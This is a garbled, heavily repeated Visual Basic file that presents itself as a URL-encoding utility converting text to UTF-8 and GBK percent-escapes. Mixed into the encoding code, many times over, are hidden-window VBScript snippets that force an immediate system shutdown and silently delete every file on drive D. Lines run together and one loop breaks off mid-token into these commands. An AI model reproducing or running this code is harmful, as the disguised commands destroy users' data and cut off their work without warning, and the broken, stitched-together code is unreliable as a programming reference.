Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true


dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

